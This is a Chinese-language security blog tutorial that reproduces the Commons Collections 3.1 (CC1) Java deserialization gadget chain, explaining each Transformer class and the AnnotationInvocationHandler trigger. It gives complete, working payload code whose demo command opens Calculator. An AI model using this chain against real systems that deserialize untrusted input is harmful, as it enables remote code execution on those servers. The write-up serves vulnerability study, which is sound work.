Java cc1利用链 简单分析

java java java

Posted by BY Diego on February 4, 2021

咕了很久的java反序列化cc1,主要根据p师傅的文章复现一边 加上自己见解

环境搭建

环境要求

  • Jdk 7

  • commons-collections:3.1

jdk7 源码下载 http://jdk7src.sourceforge.net

jdk7 下载 https://www.oracle.com/downloads/opensource/jdk7-source-code-downloads.html

commons-collections:3.1 用maven添加就好

<dependencies>
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.1</version>
        </dependency>
</dependencies>

image-20210204100212321

反序列化所需类 及使用方法

  • TransformedMap
  • InvokerTransformer
  • ConstantTransformer
  • ChainedTransformer
  • Transformer

所在位置

image-20210204100618660

挨个理解每个类的意思

TransformedMap

这里使用的是decorate方法,

官方文档

image-20210203173655213

参数是两个对象,对象为实现了Transformer 接口的类

image-20210204102520196

简言之作用就是用来修饰map的 ,当被修饰的map被添加新元素时会分别触发这两个对象的transform 的方法(回掉),一个是key,另一个是value

例子

index.java

import org.apache.commons.collections.map.TransformedMap;
public class Index{
  public static void main(String[] args) throws Exception {
  	HashMap hashMap = new HashMap();
		Map map = TransformedMap.decorate(hashMap,new Test(),new Test2());
		map.put("aaa","bbb");
		System.out.println(map);
  }
}

Test.java

import org.apache.commons.collections.Transformer;

public class Test implements Transformer {
    @Override
    public Object transform(Object input) {
        System.out.println(input.toString());
        return "test";
    }
}

Test2.java

import org.apache.commons.collections.Transformer;

public class Test2 implements Transformer {
    @Override
    public Object transform(Object input) {
        System.out.println(input.toString());
        return "test1";
    }
}

运行结果 被修饰的map 会分别调用实现了Transformer 接口的 Test、Test2transformer方法。 transformer参数为key 或者 value, 返回值也就是修饰之后的值

image-20210204104542816

也就是说通过Transformer 修饰的map 在添加元素时可以调用任意transformer方法

之后只关注类的transformer方法 即可

ConstantTransformer

该类的transformer 方法可以将构造时的参数返回回来

image-20210204111409121

效果

image-20210204112116972

InvokerTransformer

就是通过反射执行一个方法

第一个参数时 方法名 ,第二个是方法的参数类型,第三个是方法具体的参数

还有input进来的类

image-20210204111804099

可以用它来执行命令,无法直接利用,反序列化需要有触发点

image-20210204112406579

ChainedTransformer

从名字上来看就是一个链,将多个Transformer 用过依次调用各自的transform 连接起来

image-20210204112725310

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class Index {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.getRuntime()),
                new InvokerTransformer("exec",
                        new Class[]{String.class},
                        new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        outerMap.put("a","b");
    }
}

image-20210204114554106

简单小分析利用过程

第一步将构造好的ConstantTransformer InvokerTransformer添加到itransformers

image-20210204115405193

然后将构造好的 transformerChain放入 TransformedMap.decorate

然后在put的时候调用transformerChain.transform

image-20210204115948408

之后调用``ConstantTransformer.transform(“b”),返回Runtime类`

image-20210204120214224

在之后调用InvokerTransformer.transform(Runtime)

image-20210204120320148

进入就会执行构造的方法

image-20210204120621153

这里就执行了 exec 方法

image-20210204120721419

反序列化

要想能够执行 ,就必须有put操作 而且是位于readObject 方法里才能触发

rt.jar!/sun/reflect/annotation/AnnotationInvocationHandler.class中readObject实现如下

memberValues就是反序列化后得到的Map,也是经过了TransformedMap修饰的对象,这⾥遍历了它 的所有元素,并依次设置值。

image-20210204121314140

这样就会触发。因此需要把构造好的放入AnnotationInvocationHandler 因为类无法直接调用 需要通过反射来获取

Class clas = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = clas.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);
        Object obj = constructor.newInstance(Retention.class, outerMap);
/** outerMap 为构造好的map */

又因为Runtime不可被序列化(可通过反射来解决) 以及如下原因(具体不分析了

image-20210204121614650

最终反序列化payload为

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
//import sun.reflect.annotation.AnnotationInvocationHandler;

public class Index {
    public static void main(String[] args) throws Exception {
    
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},
                        new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class},
                new Object[]
                        {"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),};
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        innerMap.put("value", "xxxx"); // 第一个值必须为value
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);


        HashMap hashMap = new HashMap();

        Class clas = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = clas.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);
        Object obj = constructor.newInstance(Retention.class, outerMap);

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); //写入文件的话需要用FileOutputStream
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(obj);
        objectOutputStream.close();

        ByteArrayInputStream byteArrayInputStream =  new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        objectInputStream.readObject();
        objectInputStream.close();
    }
}

运行效果

image-20210204122553387

参考

p神的知识星球